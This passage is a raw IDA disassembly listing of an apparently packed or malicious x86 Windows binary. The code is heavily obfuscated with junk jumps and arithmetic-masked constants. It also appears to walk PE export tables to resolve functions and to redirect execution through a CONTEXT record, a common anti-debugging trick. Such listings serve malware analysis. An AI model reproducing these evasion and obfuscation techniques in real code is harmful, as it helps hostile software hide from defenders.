BYTES ; FUNCTION CHUNK AT 0042EB2A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EB65 SIZE 0000000E BYTES cmp dword ptr [ebp-8], 19h jnz loc_425074 jmp loc_42D9CE sub_42D9FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DA0B: ; CODE XREF: wto1jq8f:00425F3Cj ; wto1jq8f:0042CC91j js loc_42F630 add edi, 0B9B5EB10h shr esi, 0Fh ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42DA1A: ; CODE XREF: sub_429BFF:loc_42C8B6j xor eax, 99C3FDB2h add eax, ebp add eax, 7DA36DAEh jmp loc_42E589 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_42DA2D: ; CODE XREF: wto1jq8f:0042CBB1j popf test ecx, edx jmp loc_425BD2 ; =============== S U B R O U T I N E ======================================= sub_42DA35 proc near ; CODE XREF: wto1jq8f:00424E37p ; wto1jq8f:0042949Bj ; FUNCTION CHUNK AT 0042CCC5 SIZE 00000003 BYTES mov [esp+0], edx pop edx push ebp mov ebp, esp push eax loc_42DA3D: ; CODE XREF: wto1jq8f:0042EA05j jmp loc_42CCC5 sub_42DA35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DA42: ; CODE XREF: wto1jq8f:00425100j mov [esp], edx pop edx push 0 call sub_42CEBE ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42DA4D: ; CODE XREF: sub_42CB36+14D2j push 0FD50022Bh pop ecx add ecx, 0E91406E2h and ecx, 11E5AC22h call sub_42DE87 loc_42DA64: ; CODE XREF: sub_4291B9-24ECj jmp loc_42D3C6 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; =============== S U B R O U T I N E ======================================= sub_42DA69 proc near ; DATA XREF: sub_424859+6F07o push ecx push esi push 50551F55h call sub_42C698 sub_42DA69 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_42DA75: ; CODE XREF: sub_424BF9+51FEj jmp loc_42CE4E ; END OF FUNCTION CHUNK FOR sub_424BF9 ; =============== S U B R O U T I N E ======================================= sub_42DA7A proc far ; DATA XREF: sub_426166+Ao var_40 = dword ptr -40h ; FUNCTION CHUNK AT 004266F6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427F44 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B114 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BEC6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C6AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C7F0 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042D412 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E1A2 SIZE 00000011 BYTES or eax, eax jnz loc_427F44 jmp loc_42B114 sub_42DA7A endp ; --------------------------------------------------------------------------- pushf jmp loc_42DE1F ; --------------------------------------------------------------------------- loc_42DA8D: ; CODE XREF: wto1jq8f:0042E4D0j push 0CEF18DAAh ; =============== S U B R O U T I N E ======================================= sub_42DA92 proc near ; CODE XREF: sub_42E833p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004270A6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004277F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E796 SIZE 00000005 BYTES mov [esp+0], edx loc_42DA95: ; CODE XREF: wto1jq8f:loc_42AD95j pop edx push ebp mov ebp, esp jmp loc_4277F5 sub_42DA92 endp ; --------------------------------------------------------------------------- locret_42DA9E: ; CODE XREF: wto1jq8f:loc_42EBEFj retn ; --------------------------------------------------------------------------- jmp locret_424B2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D35A loc_42DAA4: ; CODE XREF: sub_42D35A+9j jmp loc_42B7C6 ; END OF FUNCTION CHUNK FOR sub_42D35A ; --------------------------------------------------------------------------- loc_42DAA9: ; CODE XREF: wto1jq8f:004294EFj jmp loc_42A62A ; --------------------------------------------------------------------------- loc_42DAAE: ; DATA XREF: wto1jq8f:00426A8Ao push 0B7F375F7h pop eax push offset loc_429A0D jmp locret_429B60 ; --------------------------------------------------------------------------- add ebp, edx jmp loc_429E5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42DAC5: ; CODE XREF: sub_429471+Ej jz loc_42661B jmp loc_424E5D ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42DAD0: ; CODE XREF: sub_42A2B8-207Fj xchg eax, [esp-10h+arg_C] xchg eax, edx push edx xchg eax, edx push 4CA01415h add eax, edi jmp loc_42A803 ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- dword_42DAE4 dd 0 ; wto1jq8f:00428DB1w ... dd 2140E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424859 loc_42DAED: ; CODE XREF: sub_424859+1j jmp loc_42B75D ; END OF FUNCTION CHUNK FOR sub_424859 ; --------------------------------------------------------------------------- dw 4FC9h dword_42DAF4 dd 7372ACDAh, 23336CCAh, 6C3632E2h ; wto1jq8f:loc_42C9B5o db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B866 loc_42DB01: ; CODE XREF: sub_42B866+7j jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_42B866 ; --------------------------------------------------------------------------- dw 26A8h dword_42DB08 dd 0 ; sub_42AA04r ... dword_42DB0C dd 0 ; sub_42C507-59Dw ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C547 loc_42DB10: ; CODE XREF: sub_42C547+10j jmp loc_42D20A ; END OF FUNCTION CHUNK FOR sub_42C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_42DB15: ; CODE XREF: sub_42ADC7+Aj jmp loc_428B21 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42DB1A: ; CODE XREF: sub_429281-20F4j jmp loc_42E602 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- db 7Eh dd 0 ; --------------------------------------------------------------------------- loc_42DB24: ; CODE XREF: wto1jq8f:00428651j jz loc_4250CA mov eax, [ebp-4] push 42EF53h jmp locret_42C150 ; --------------------------------------------------------------------------- push 1A65E1BAh pop edi rol edi, 11h add edi, 3CCE50F7h jmp loc_42E635 ; --------------------------------------------------------------------------- loc_42DB4B: ; CODE XREF: wto1jq8f:loc_42ABC0j jge sub_42E337 pushf ; =============== S U B R O U T I N E ======================================= sub_42DB52 proc far ; CODE XREF: wto1jq8f:loc_42AF78p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424873 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004249ED SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00426485 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426AA4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427D37 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427F0F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004288DE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428F51 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F8A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A9A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AD77 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C48A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DBFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E086 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_427450 push edx push 3327F2A3h jmp loc_426AA4 sub_42DB52 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DB66: ; CODE XREF: wto1jq8f:loc_42AC67j xchg edx, [esp] jmp sub_42C547 ; --------------------------------------------------------------------------- loc_42DB6E: ; CODE XREF: wto1jq8f:loc_42C6ABj ; DATA XREF: sub_42C698+9o xchg eax, [esp] push offset sub_42BD31 jmp locret_426410 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_42DB7B: ; CODE XREF: sub_42727F-C16j jl loc_426E1B jbe loc_42755A jmp loc_426E10 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- loc_42DB8C: ; CODE XREF: wto1jq8f:00427E6Cj jg loc_425B9F ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42DB92: ; CODE XREF: sub_4244EA:loc_42B97Fj lea edx, [ebp-14h] push 55533B44h pop eax or eax, 0C009D3DDh jmp loc_429E88 ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_42DBA6 proc near ; DATA XREF: wto1jq8f:00427836o arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042880E SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00428F96 SIZE 00000005 BYTES push ebp xchg ecx, ebp mov ecx, [esp+4+arg_8] mov dword ptr [ecx], 10001h lea eax, loc_424294 push edi push 0E6565CD6h pop edi jmp loc_428F96 sub_42DBA6 endp ; =============== S U B R O U T I N E ======================================= sub_42DBC5 proc near ; DATA XREF: wto1jq8f:0042DEEFo mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_4250CA sub_42DBC5 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_429C18 loc_42DBD2: ; CODE XREF: sub_429C18:loc_42C26Dj call sub_427A9E ; END OF FUNCTION CHUNK FOR sub_429C18 ; START OF FUNCTION CHUNK FOR sub_429165 loc_42DBD7: ; CODE XREF: sub_429165:loc_42A1C7j jnz loc_42AB85 xor eax, eax mov [ebp+var_C], eax jmp loc_42D608 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42DBE7: ; CODE XREF: sub_42BE69-147Aj sub ebx, ecx loc_42DBE9: ; CODE XREF: sub_42BE69:loc_42BA74j push offset byte_42EF9D jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- loc_42DBF3: ; CODE XREF: wto1jq8f:0042BDDFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42DBF4: ; CODE XREF: sub_427D00+3EA8j jmp loc_427959 ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_42DBF9: ; CODE XREF: sub_42D4FD-238Bj jmp loc_42F9F6 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_42DBFE: ; CODE XREF: sub_42DB52-709Dj jmp loc_428F8A ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- loc_42DC03: ; CODE XREF: wto1jq8f:0042C374j and edi, 0E12DC688h loc_42DC09: ; CODE XREF: wto1jq8f:loc_424830j push 2 push 400h push 0F48D1C5Dh pop eax jmp loc_42C3F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DC1B: ; CODE XREF: sub_426535+4482j jnb nullsub_41 jp loc_42F1BC xor esi, ebp jmp loc_42492E ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- mov ecx, [esp+10h] mov dword ptr [ecx], 10001h lea eax, loc_4272DE mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE7E loc_42DC48: ; CODE XREF: sub_42BE7E+Dj jmp loc_42C1CB ; END OF FUNCTION CHUNK FOR sub_42BE7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DC4D: ; CODE XREF: sub_426535+212Fj jmp near ptr loc_42FD1E+4 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_42DC52: ; CODE XREF: sub_426313:loc_424276j ; sub_426313+4D8Bj push offset sub_42C61B jmp loc_4268BB ; END OF FUNCTION CHUNK FOR sub_426313 ; =============== S U B R O U T I N E ======================================= sub_42DC5C proc far ; CODE XREF: wto1jq8f:0042A09Dp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0042468D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042469F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424748 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00424977 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424A82 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00424C6D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424D6E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424D84 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FE2 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425B62 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00425FD1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004267D3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426941 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004269CB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00426ED4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427349 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004274C8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00427EC2 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427FB6 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042810B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004285DA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042884C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042898E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004289F4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428A3A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00428D05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428F11 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042932A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042950C SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00429768 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004299F6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00429DB2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042A10F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042A479 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A734 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A888 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ACE8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B274 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042B917 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B9C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BCCF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BE01 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042BFFA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C22D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C475 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C686 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042C988 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CA4A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042CDF9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042CF9E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042CFF2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D0D3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D186 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D28E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042D2F3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D48C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D52C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D559 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042D844 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DE3B SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042DF6E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042DFC3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DFDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E039 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E63F SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042E8F8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA63 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EC39 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042EC5E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042EC79 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F088 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042F5D2 SIZE 00000002 BYTES mov [esp-4+arg_0], edx shl eax, 5 xor ebx, ecx jns loc_42884C rol edx, 1Fh add ecx, eax or ebx, 909E18EEh jmp loc_42DE36 ; --------------------------------------------------------------------------- loc_42DC7A: ; CODE XREF: wto1jq8f:0042A708j jnz loc_424690 loc_42DC80: ; CODE XREF: wto1jq8f:0042A3F7j jmp loc_42CDF9 ; --------------------------------------------------------------------------- loc_42DC85: ; CODE XREF: sub_4293FF+13j jmp loc_42BCCF ; --------------------------------------------------------------------------- mov ebp, [eax] sub ebx, esi jo loc_42BDB2 jmp loc_42468D ; --------------------------------------------------------------------------- loc_42DC99: ; DATA XREF: wto1jq8f:004244DAo js loc_42C475 xor ecx, ebx sub edx, ebx cmp edx, 1CF3C597h loc_42DCA9: ; CODE XREF: wto1jq8f:0042D0B6j jmp loc_42D0D3 ; --------------------------------------------------------------------------- locret_42DCAE: ; CODE XREF: wto1jq8f:0042DEF4j retn ; --------------------------------------------------------------------------- jmp loc_42D186 ; --------------------------------------------------------------------------- loc_42DCB4: ; CODE XREF: sub_42DC5C-6905p ; wto1jq8f:0042B41Fj xchg ebx, [esp-4+arg_0] pop ebx jz loc_425FD1 mov edx, [ebx+ecx] jmp near ptr loc_42FC5D+1 ; --------------------------------------------------------------------------- loc_42DCC6: ; CODE XREF: sub_42DC5C:loc_42BE01j mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] jmp loc_424485 ; --------------------------------------------------------------------------- db 0E8h, 7Ah, 11h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42DCDA: ; CODE XREF: sub_429A28+Ej jmp nullsub_43 ; --------------------------------------------------------------------------- loc_42DCDF: ; CODE XREF: sub_42760F:loc_427772j lea eax, [ebp-125h] push eax call sub_42DECB loc_42DCEB: ; CODE XREF: wto1jq8f:0042D3E3j add eax, ebp add eax, 0CC58C5A9h mov eax, [eax] and dword ptr [eax+24h], 7FFFFFFFh lea eax, [ebp-14h] push eax jmp loc_42CA4A ; --------------------------------------------------------------------------- add edi, 91A6CE52h xchg edi, [esp+4+var_4] jmp loc_424D84 ; --------------------------------------------------------------------------- shl ebx, 10h jmp near ptr sub_429D4E ; --------------------------------------------------------------------------- add edi, esi jmp loc_42B274 ; --------------------------------------------------------------------------- loc_42DD22: ; CODE XREF: sub_429BFF:loc_427A88j jnz loc_424FE4 jmp loc_42C22D ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov esp, ebp pop ebp mov eax, ds:dword_42E504 or eax, eax jmp loc_42E8F8 ; --------------------------------------------------------------------------- rol ebx, 11h jmp loc_4269CB ; --------------------------------------------------------------------------- db 53h, 0E8h, 7Fh db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_42DD4F: ; CODE XREF: sub_42D120+8j jmp loc_42B917 ; --------------------------------------------------------------------------- loc_42DD54: ; CODE XREF: wto1jq8f:loc_42D116j mov eax, [eax] or eax, eax jnz loc_42EC79 jmp loc_42B9C6 ; --------------------------------------------------------------------------- locret_42DD63: ; CODE XREF: sub_42B63C:loc_42D031j retn ; --------------------------------------------------------------------------- loc_42DD64: ; CODE XREF: wto1jq8f:00429207j jmp loc_42810B ; --------------------------------------------------------------------------- loc_42DD69: ; CODE XREF: sub_426842:loc_424ECEj jz loc_42898E jmp loc_42C686 ; --------------------------------------------------------------------------- dd 8A0FC103h, 0FFFFCB88h, 0BE9C533h, 2BFFFFACh, 27D581EAh dd 0E968D041h, 0FFFFF3A3h ; --------------------------------------------------------------------------- loc_42DD90: ; CODE XREF: sub_427D00+69BFj push 42FE9Fh jmp loc_42469F ; --------------------------------------------------------------------------- pop ebp loc_42DD9B: ; CODE XREF: sub_42AAF6+6F4j add ebx, 3EDB7720h xchg ebx, [esp+8+var_8] jmp near ptr loc_42FB2B+4 ; --------------------------------------------------------------------------- rol ecx, 3 jmp loc_42A888 ; --------------------------------------------------------------------------- loc_42DDB1: ; CODE XREF: wto1jq8f:loc_429FB6j adc ebp, 31191BFAh jmp loc_424977 ; --------------------------------------------------------------------------- loc_42DDBC: ; DATA XREF: sub_426E65+8o xor [esi], ebx add [esi], ecx loc_42DDC0: ; CODE XREF: wto1jq8f:loc_42D197j xor [esi], edx push offset loc_428CD0 jmp locret_4264C7 ; --------------------------------------------------------------------------- loc_42DDCC: ; CODE XREF: sub_426144+10j test eax, 1 jz loc_428361 jmp loc_42E2EB ; --------------------------------------------------------------------------- loc_42DDDC: ; CODE XREF: wto1jq8f:loc_4273F2j mov esi, edi rol edi, 1Fh jmp loc_426ED4 ; --------------------------------------------------------------------------- loc_42DDE6: ; CODE XREF: wto1jq8f:004289EFj mov [esp+0Ch+var_C], edi pop edi push 8525D20Ch pop edx or edx, 0D9630A6Ah test edx, 2000h jmp loc_42D52C ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42DE02: ; CODE XREF: sub_428AC6+579Cj jmp loc_427EC2 ; --------------------------------------------------------------------------- loc_42DE07: ; CODE XREF: wto1jq8f:0042CCD4j push offset sub_42E555 jmp nullsub_166 ; --------------------------------------------------------------------------- loc_42DE11: ; CODE XREF: wto1jq8f:00425C08j mov eax, [ebp+0] test edx, 0D8B10D16h jmp loc_42A10F ; --------------------------------------------------------------------------- loc_42DE1F: ; CODE XREF: sub_429BD3-5917p ; wto1jq8f:0042DA88j mov [esp+0Ch+var_C], eax pop eax push edx push 0F09F0624h pop edx or edx, 0A61E270Bh js loc_42DE3B loc_42DE36: ; CODE XREF: sub_42DC5C+19j jmp loc_427FB6 sub_42DC5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42DE3B: ; CODE XREF: wto1jq8f:004262C1j ; sub_42DC5C+1D4j add edx, 9A3251Dh xchg edx, [esp+14h+var_14] jmp sub_42AECE ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A30F loc_42DE49: ; CODE XREF: sub_42A30F+18j jnz loc_42FDA6 jmp loc_42808C ; END OF FUNCTION CHUNK FOR sub_42A30F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A197 loc_42DE54: ; CODE XREF: sub_42A197:loc_4288D3j add ebx, ecx or ebx, 179654D9h cdq xchg ecx, eax jmp loc_42EFBE ; END OF FUNCTION CHUNK FOR sub_42A197 ; --------------------------------------------------------------------------- loc_42DE64: ; CODE XREF: wto1jq8f:00426D24j pushf ; =============== S U B R O U T I N E ======================================= sub_42DE65 proc near ; CODE XREF: sub_4244EA:loc_42A4DFp ; FUNCTION CHUNK AT 0042B7C6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042BA12 SIZE 0000000A BYTES xchg edx, [esp+0] pop edx inc dword ptr [ebp-4] jmp loc_42B7C6 sub_42DE65 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jnz loc_42AA2A ; =============== S U B R O U T I N E ======================================= sub_42DE77 proc near ; CODE XREF: sub_42606D-1C15p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042972A SIZE 0000000E BYTES mov [esp+4+var_4], esi pop esi pop edx jmp loc_42972A sub_42DE77 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42DE81: ; CODE XREF: wto1jq8f:00425988j jnb loc_428943 ; =============== S U B R O U T I N E ======================================= sub_42DE87 proc near ; CODE XREF: sub_42CB36+F29p var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424A59 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428116 SIZE 0000001E BYTES mov [esp+8+var_8], edx pop edx add ecx, 7734205Bh xchg ecx, [esp+0] jmp loc_424A59 sub_42DE87 endp ; sp-analysis failed ; --------------------------------------------------------------------------- lea eax, sub_42A59B mov [ebp-4], eax push edx push 0C4C2F45Dh jmp loc_42FB54 ; --------------------------------------------------------------------------- locret_42DEAD: ; CODE XREF: wto1jq8f:0042E2B8j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42DEAE: ; CODE XREF: sub_427D00-38Aj and ecx, 7 mov al, 1 shl al, cl mov edx, [ebp-14h] shr edx, 3 push 0C468EE20h jmp loc_42A0D3 ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- pop edx call sub_42859D ; =============== S U B R O U T I N E ======================================= sub_42DECB proc near ; CODE XREF: sub_42DC5C+8Ap ; FUNCTION CHUNK AT 0042596A SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx call sub_42D910 mov [ebp-4], eax jmp loc_42596A sub_42DECB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42760F loc_42DEDC: ; CODE XREF: sub_42760F:loc_4249B2j lea eax, [ebp-125h] push eax call sub_42B02D jmp loc_425D9D ; END OF FUNCTION CHUNK FOR sub_42760F ; --------------------------------------------------------------------------- xor eax, eax push offset sub_42DBC5 jmp locret_42DCAE ; --------------------------------------------------------------------------- loc_42DEF9: ; CODE XREF: wto1jq8f:00429545j jb sub_426144 ; =============== S U B R O U T I N E ======================================= sub_42DEFF proc near ; CODE XREF: sub_42CBD1:loc_4284A1p ; FUNCTION CHUNK AT 00427949 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AA4E SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042B03D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C660 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C72A SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0042CAAC SIZE 00000026 BYTES mov [esp+0], eax pop eax loc_42DF03: ; CODE XREF: wto1jq8f:loc_427A4Dj push 0E4D3BFB8h pop eax loc_42DF09: ; CODE XREF: sub_426535-1870j and eax, 0C0D36C17h xor eax, 5255C99Dh jmp loc_42C660 sub_42DEFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DF1A: ; CODE XREF: sub_426535+3263j add ebx, 6AAD9708h ror esi, 1Ah loc_42DF23: ; CODE XREF: sub_426535:loc_426B0Aj mov eax, [ebp-4] push ecx push 90E45DABh pop ecx rol ecx, 2 test ecx, 2 jmp loc_4280CC ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42DF3B proc near ; CODE XREF: wto1jq8f:00426659p ; wto1jq8f:004278E6j arg_0 = dword ptr 4 mov [esp+0], ebx pop ebx push 6D8758F0h pop esi add esi, 92BB79B2h xchg esi, [esp-4+arg_0] jmp loc_42BE99 sub_42DF3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42DF53: ; CODE XREF: sub_428E81+10j or eax, 639E1B2Eh add eax, 1CA44BC2h mov eax, [eax] or eax, eax jnz loc_42C883 jmp loc_42B952 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42DF6E: ; CODE XREF: sub_42DC5C:loc_42E8F8j jnz loc_4299F6 push ecx push 0F5C4476Ch pop ecx jmp loc_424748 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; =============== S U B R O U T I N E ======================================= sub_42DF80 proc near ; DATA XREF: wto1jq8f:00424161o xchg ecx, [esp+0] jmp sub_424F23 sub_42DF80 endp ; --------------------------------------------------------------------------- mov eax, 62h call sub_428183 call sub_42A14D ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42DF97: ; CODE XREF: sub_4244EA+5947j jmp loc_42F93C ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B93 loc_42DF9C: ; CODE XREF: sub_424B93+12j jmp loc_42D989 ; END OF FUNCTION CHUNK FOR sub_424B93 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; 